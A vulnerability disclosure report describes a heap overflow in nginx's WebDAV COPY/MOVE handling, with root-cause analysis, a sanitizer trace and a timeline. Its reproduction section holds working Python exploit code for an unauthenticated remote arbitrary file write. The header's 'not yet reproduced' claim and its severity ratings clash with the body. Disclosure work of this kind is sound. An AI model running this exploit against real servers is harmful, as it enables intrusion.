ANT-2026-VS18SA90 · nginx
arbitrary-file-write critical
Severity Claude critical · Security research firm critical · Maintainer -
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Calif.
ANT-2026-VS18SA90: unauthenticated remote file write in nginx WebDAV module
The nginx WebDAV module allows unauthenticated remote clients to write files to the server.
Target
Project: nginx
Discovery: static analysis — not yet dynamically reproduced
Reproduction
This finding was identified by static analysis and has not yet been dynamically reproduced. A trigger input is not included.
[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-VS18SA90.
Reference: ANT-2026-VS18SA90
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy
Triage and disclosure were performed by Calif. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- critical
CVD Vulnerability Disclosure Report
Section A — Policy Checklist
All six fields are required by Anthropic's CVD policy. Do not send externally until every item is checked or completed.
| **\#** | **Policy-Required Field** | **Complete** |
| 1 | **AI-Discovery Label** | This report is marked as **AI-discovered** |
| 2 | **Human Reviewer(s)** | Name(s): Anas Cherni of Calif.io |
| 3 | **Confirmed Finding** | Real security impact ReproducibleSufficient detail for maintainer |
| 4 | **Patch Verification** | No patch included |
| 5 | **Response Category** | ☐ Active exploitation → 7-day (+7 ext) |
| \[x\] Latent vulnerability → 90-day (+14 ext) | ||
| ☐ Ecosystem-level → coordinate before disclosure | ||
| **Severity (CVSS)** | High | |
| 6 | **Bulk-Report Pre-Coordination** | N/A |
Section B — Vulnerability Header
| **Vulnerability Title & ID** | Heap Buffer Overflow in ngx\_http\_map\_uri\_to\_path() via DAV COPY/MOVE with alias |
| **Security-Relevant** | Yes |
| **Severity Rating** | High |
| **Bug Category** | Heap Buffer Overflow, Integer Underflow |
| **Affected Software** | Nginx 1.29.5 |
| **Recipient / Maintainer** | [*Nginx security policy*](https://github.com/nginx/nginx/blob/master/SECURITY.md) |
| **Date Reported** | 2026-03-10 |
Section C — Executive Summary
A heap buffer overflow in ngx_http_map_uri_to_path() is triggered when a DAV COPY or MOVE request supplies a Destination URI shorter than the alias location name, causing an unsigned integer underflow in the buffer size calculation. The resulting undersized allocation is overwritten by a memcpy call with a wrapped byte count, which copies bytes from elsewhere on the heap (including attacker-controlled HTTP header data) into the destination path buffer. This constitutes a path injection: the corrupted buffer replaces the intended destination with an attacker-influenced filesystem path. Nginx's path traversal checks (ngx_http_parse_unsafe_uri) validate only the original Destination URI but not the overwritten buffer. As a result, the injected path is passed unchecked to the file write routine.
On aarch64 Linux with glibc, we confirmed this as a remote arbitrary file write primitive. An unauthenticated attacker sends two HTTP requests (PUT to upload a payload, COPY to trigger the overflow). The heap corruption redirects the file write to an attacker-influenced filesystem path such as /tmp/evil_file.sh. The number of usable path characters depends on the nginx configuration, specifically the difference between the alias directive path length and the location name length.
Section D — Root Cause Analysis
Technical Description
The DAV module's COPY/MOVE handler (ngx_http_dav_copy_move_handler) resolves the destination filesystem path by temporarily replacing r->uri with the parsed Destination header value (duri) and calling ngx_http_map_uri_to_path(). This function computes the output buffer size as:
path->len = clcf->root.len + reserved + r->uri.len - alias + 1
All operands are size_t (unsigned 64-bit). The alias variable holds the length of the location name (e.g., 5 for /dav/). When the Destination URI is shorter than the location name (duri.len \< alias), the subtraction r->uri.len - alias wraps to approximately SIZE_MAX. Adding root.len + 1 wraps the total back to a small positive value. ngx_pnalloc then allocates a buffer shorter than root.len.
Two out-of-bounds writes follow immediately:
- ngx_copy(path->data, clcf->root.data, clcf->root.len) writes root.len bytes into the undersized buffer — a heap overflow of alias - duri.len bytes past the allocation.
- ngx_copy(last, r->uri.data + alias, r->uri.len - alias) passes SIZE_MAX as the count to memcpy. On aarch64 with glibc, the optimized memcpy epilogue handles this without crashing by copying 64 bytes using wrapping pointer arithmetic, writing attacker-controlled HTTP header bytes into the destination path buffer. The corrupted path is then passed to ngx_copy_file() or ngx_ext_rename_file(), which writes the source file's content to the attacker-controlled filesystem path.
The URI swap at line 701 bypasses re-validation: r->valid_location was set during the original request's location match and is never cleared for the substituted URI. Consequently, ngx_http_map_uri_to_path() trusts the alias offset without verifying that the new URI is long enough to support the subtraction.
First Faulty Condition
| **Source file** | src/http/ngx\_http\_core\_module.c |
| **Function** | ngx\_http\_map\_uri\_to\_path() |
| **Line** | 1943 |
| **Condition** | r-\>uri.len \\< alias (unsigned). The destination URI is shorter than the location name, causing r-\>uri.len - alias to wrap to SIZE\_MAX, producing an undersized buffer allocation. No bounds check guards this subtraction. |
The precondition that enables this is at src/http/modules/ngx_http_dav_module.c, line 701, where r->uri is replaced with the attacker-supplied duri without validating duri.len >= clcf->alias.
Trace Analysis
To obtain a symbolized stack trace, nginx was built with AddressSanitizer (-fsanitize=address -g -O0) and the following COPY request was sent:
COPY /dav/d00_xxx...xxx/.../exploit_src.txt HTTP/1.1
Host: localhost:9080
X-Pad: XXXXX/tmp/evil_file.sh
Destination: /da
The destination URI (/da, 3 bytes) is shorter than the location name (/dav/, 5 bytes), triggering the unsigned underflow. ASAN's memcpy interceptor detected the resulting SIZE_MAX count and aborted the worker with the following trace:
==PID==ERROR: AddressSanitizer: negative-size-param: (size=-2)
\#0 \_\_asan\_memcpy (interceptor)
\#1 ngx\_http\_map\_uri\_to\_path src/http/ngx\_http\_core\_module.c:1987
→ ngx\_copy(last, r-\>uri.data + alias, r-\>uri.len - alias)
count = 3 - 5 = SIZE\_MAX (interpreted as -2 by ASAN)
\#2 ngx\_http\_dav\_copy\_move\_handler src/http/modules/ngx\_http\_dav\_module.c:703
→ ngx\_http\_map\_uri\_to\_path(r, \©.path, \&root, 0)
r-\>uri has been replaced with duri (len=3) at line 701
\#3 ngx\_http\_dav\_handler src/http/modules/ngx\_http\_dav\_module.c:194
\#4 ngx\_http\_core\_content\_phase src/http/ngx\_http\_core\_module.c:1282
\#5 ngx\_http\_core\_run\_phases src/http/ngx\_http\_core\_module.c:889
\#6 ngx\_http\_handler src/http/ngx\_http\_core\_module.c:872
\#7 ngx\_http\_process\_request src/http/ngx\_http\_request.c:2172
- Frame #2 is where the DAV handler swaps r->uri = duri (line 701) and calls ngx_http_map_uri_to_path() (line 703) without checking duri.len >= alias.
- Frame #1 is where the underflow produces the SIZE_MAX memcpy count.
On non-ASAN aarch64 builds, frame #1 does not crash. Instead, glibc's memcpy completes via its epilogue, and execution continues to ngx_copy_file() at ngx_http_dav_module.c:851, which writes the file to the corrupted path.
Section E — Exploitability Assessment
Attack Vector & Reachability
| **Factor** | **Assessment** |
| **Attack vector** | Network (remote) |
| **Authentication required** | None |
| **User interaction** | None |
| **Reachability notes** | The attacker sends two standard HTTP requests to the DAV-enabled endpoint: - Request 1: a PUT to a deep path uploads the payload file. The create\_full\_put\_path on directive (common in WebDAV configurations) causes nginx to create intermediate directories automatically. - Request 2: a COPY with a crafted Destination header shorter than the alias location name triggers the underflow and redirects the file write.The vulnerable code path is entered whenever ngx\_http\_dav\_module processes a COPY or MOVE request against a location using the alias directive. |
Technical Primitive
Arbitrary file write to an attacker-controlled filesystem path with attacker-controlled content.
The memcpy(dst, src, SIZE_MAX) at line 1987 of ngx_http_core_module.c overwrites the heap-allocated destination path buffer with bytes sourced from the attacker's HTTP headers. On aarch64 with glibc, the optimized memcpy epilogue handles the SIZE_MAX count by copying 64 bytes via wrapping pointer arithmetic, placing attacker-controlled header data at path[0..N-1]. A NUL byte from nginx's header parser terminates the string, and the resulting path is passed directly to ngx_copy_file() (for COPY) or ngx_ext_rename_file() (for MOVE), which writes the previously uploaded source file to that path. The attacker controls both the destination path (via header byte positioning) and the file content (via the PUT-uploaded payload). The number of controlled path characters is config-dependent: (root.len - alias_len) - 15.
Mitigation Analysis
This is a data-only attack. The exploit corrupts a filename string on the heap, not a code pointer. The corrupted string is consumed by a normal open() + write() syscall sequence.
| **Defense** | **Status** | **Notes** |
| **ASLR** | N/A | The exploit does not depend on any memory addresses. It overwrites a file path string (data), not a code pointer. |
| **DEP / NX** | N/A | No code is injected or executed from data pages. The exploit uses nginx's own ngx\_copy\_file() to write the file through normal execution. |
| **Stack Canaries** | N/A | The overflow targets a heap buffer ngx\_pnalloc, not the stack. Stack canaries are not checked. |
| **CFI** | N/A | No indirect call or virtual dispatch is corrupted. All function calls in the exploit path follow the program's original control flow. |
| **Sandboxing** | N/A | Nginx worker processes are not sandboxed. They run as a regular OS process with direct filesystem access. The file is written using the worker's effective UID/GID. |
| **ngx\_http\_parse\_unsafe\_uri()** | Bypassed | The DAV module validates the Destination URI duri for path traversal sequences. However, the actual file write destination comes from the overflow and is never validated. |
Reproduction Steps
- **Environment setup**
Build nginx 1.29.5 with ngx_http_dav_module on aarch64 Linux (glibc). No special compiler flags are required — a standard production build is exploitable. For diagnostic confirmation, a parallel ASAN build can be used.
./configure --prefix=/opt/nginx --with-http_dav_module
make -j$(nproc) && make install
Configure with alias + dav_methods in the same location:
server {
listen 9080;
server\_name localhost;
location /dav/ {
alias /opt/nginx/data/webdav/shared/uploads/;
\# root.len=37, alias\_len=5 → controlled = (37-5)-15 = 17 chars
dav\_methods PUT DELETE MKCOL COPY MOVE;
create\_full\_put\_path on;
}
}
Start nginx:
mkdir -p /opt/nginx/data/webdav/shared/uploads/
/opt/nginx/sbin/nginx
- **Upload payload via PUT**
Upload the desired file content to a deep path (\~4048-char URI). The deep path forces the source path allocation to exceed nginx's pool allocator threshold, isolating it from the destination buffer that will be overflowed.
import socket
HOST, PORT = "localhost", 9080
dir_names = [f"d{i:02d}_" + "x" * 196 for i in range(20)]
source_uri = "/dav/" + "/".join(dir_names) + "/exploit_src.txt"
payload = b"ARBITRARY FILE CONTENT HERE"
req = (
f"PUT {source\_uri} HTTP/1.1\\r\\n"
f"Host: {HOST}:{PORT}\\r\\n"
f"Content-Length: {len(payload)}\\r\\n"
f"\\r\\n"
).encode() + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(req)
print(s.recv(4096).decode()) # HTTP/1.1 201 Created
s.close()
- **Trigger the file write via COPY**
Send a COPY request with an injection header containing the desired destination path and a short Destination URI to trigger the underflow. The Destination (/da, 3bytes) is shorter than the location name (/dav/, 5 bytes):
req = (
f"COPY {source\_uri} HTTP/1.1\\r\\n"
f"Host: {HOST}:{PORT}\\r\\n"
f"X-Pad: XXXXX/tmp/evil\_file.sh\\r\\n"
f"Destination: /da\\r\\n"
f"\\r\\n"
).encode()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(req)
print(s.recv(4096).decode()) # HTTP/1.1 204 No Content
s.close()
The last 17 bytes of the X-Pad header value (/tmp/evil_file.sh) overwrite path[0..16], becoming the destination filesystem path. The file is written by nginx's own ngx_copy_file() through normal control flow.
- **Verification**
On aarch64/glibc: the file /tmp/evil_file.sh exists on the server with the content ARBITRARY FILE CONTENT HERE, written by the nginx worker process.
| PoC artifact | poc\_nginx\_dav\_alias\_overflow.py is an automated end-to-end test with PUT upload, COPY exploit, and byte-for-byte content verification. |
| Build configuration | gcc, no special flags required (standard ./configure --with-http\_dav\_module). For diagnostic trace add -fsanitize=address -g to --with-cc-opt and --with-ld-opt. |
| Environment | Ubuntu 24.04.4 LTS, aarch64, kernel 6.12.67-linuxkit, glibc 2.39 |
Note: the heap corruption makes the worker unstable after one exploit attempt. For repeated tests, restart nginx between attempts.
Dates from discovery through public reveal.
- 2026-03-29 Reported to tracker
- 2026-04-05 Sent to maintainer
- 2026-05-07 Patch released
- 2026-05-07 Maintainer acknowledged
- 2026-05-20 Publicly revealed
SHA-3-512 hash:
70c7065a7506628831667e565053165f8142abd80e67756200c4b6cb0d6c34fe0590d7f2fa655fbfd2cc36da73eeb98d23667209d18f2ca4ba3f2554e8194d1c
Committed 2026-04-05 16:37 PT
Revealed 2026-05-20 00:40 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-VS18SA90",
"bug_class": "Arbitrary File Write",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-03-29T20:40:17+00:00",
"description": "The nginx WebDAV module allows unauthenticated remote clients to write files to the server.",
"discovered_at": null,
"location": null,
"poc_sha256": null,
"preimage_version": 1,
"project": "nginx",
"reproduction": null,
"technical_details": null,
"title": "unauthenticated remote file write in nginx WebDAV module",
"vendor_severity": "critical"
}